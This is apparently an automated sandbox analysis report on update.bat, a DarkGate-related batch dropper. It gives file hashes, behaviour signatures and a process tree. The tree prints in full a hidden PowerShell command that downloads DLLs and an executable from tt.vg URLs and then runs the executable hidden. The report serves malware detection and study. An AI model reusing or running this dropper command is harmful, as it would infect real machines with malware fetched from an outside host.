Analysis

  • max time kernel
    96s
  • max time network
    134s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19-08-2024 01:51

General

  • Target

    exe/crypted/Dakrgate 5864 startup plus rootkit/Batch file for 5864v dll crypted darkgate/update.bat

  • Size

    6KB

  • MD5

    97b7c88a02b2a5214d742b7ed50f4544

  • SHA1

    15bf7dd44049b94db1a82504802ead45f6186fa0

  • SHA256

    20c3a5b1c87627e9e016494b806273230f5023cf12d2c0e29eceecb7b8a6d3b6

  • SHA512

    918c856e61d8b348a705227ec381a8101481ec3aaa4a1f6545b9706ebf491d311cfe716f62ab04c796333bae5df857fc67cac86760be1c67578ca1031a906b25

  • SSDEEP

    192:GqNFRmxkyzz06ETWtd4pTunJ8ccJkBhKhgQ:Vp2kgzSTWsu6hJEhKht

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://tt.vg/download-update-dll1

exe.dropper

https://tt.vg/dlldownload2sqliuit-download

exe.dropper

https://tt.vg/download-latest-update

Signatures

  • Blocklisted process makes network request 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\exe\crypted\Dakrgate 5864 startup plus rootkit\Batch file for 5864v dll crypted darkgate\update.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2576
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -WindowStyle Hidden -Command "& {$wc = New-Object System.Net.WebClient; $wc.DownloadFile('https://tt.vg/download-update-dll1', 'C:\Users\Admin\AppData\Local\Temp\libssp-0.dll'); $wc.DownloadFile('https://tt.vg/dlldownload2sqliuit-download', 'C:\Users\Admin\AppData\Local\Temp\sqlite3.dll'); $wc.DownloadFile('https://tt.vg/download-latest-update', 'C:\Users\Admin\AppData\Local\Temp\pidgin.exe')}"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2456
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -WindowStyle Hidden -Command "& {Start-Process 'C:\Users\Admin\AppData\Local\Temp\pidgin.exe' -WindowStyle Hidden}"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3640

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    2KB

    MD5

    2f57fde6b33e89a63cf0dfdd6e60a351

    SHA1

    445bf1b07223a04f8a159581a3d37d630273010f

    SHA256

    3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

    SHA512

    42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    b66db53846de4860ca72a3e59b38c544

    SHA1

    2202dc88e9cddea92df4f4e8d83930efd98c9c5a

    SHA256

    b1a00fcea37b39a5556eea46e50711f7713b72be077a73cb16515ca3538d6030

    SHA512

    72eff4ae1d541c4438d3cd85d2c1a8c933744b74c7a2a4830ffe398fee88f1a8c5b241d23e94bcdf43b4be28c2747b331a280a7dc67ab67d8e72c6569f016527

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xwzje5no.fku.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/2456-16-0x00007FFCCD6A0000-0x00007FFCCE161000-memory.dmp

    Filesize

    10.8MB

  • memory/2456-12-0x00007FFCCD6A0000-0x00007FFCCE161000-memory.dmp

    Filesize

    10.8MB

  • memory/2456-13-0x00007FFCCD6A0000-0x00007FFCCE161000-memory.dmp

    Filesize

    10.8MB

  • memory/2456-0-0x00007FFCCD6A3000-0x00007FFCCD6A5000-memory.dmp

    Filesize

    8KB

  • memory/2456-11-0x00007FFCCD6A0000-0x00007FFCCE161000-memory.dmp

    Filesize

    10.8MB

  • memory/2456-1-0x000002B01EB00000-0x000002B01EB22000-memory.dmp

    Filesize

    136KB

  • memory/3640-19-0x00007FFCCD6D3000-0x00007FFCCD6D5000-memory.dmp

    Filesize

    8KB

  • memory/3640-30-0x00007FFCCD6D0000-0x00007FFCCE191000-memory.dmp

    Filesize

    10.8MB

  • memory/3640-32-0x00007FFCCD6D0000-0x00007FFCCE191000-memory.dmp

    Filesize

    10.8MB

  • memory/3640-34-0x00007FFCCD6D0000-0x00007FFCCE191000-memory.dmp

    Filesize

    10.8MB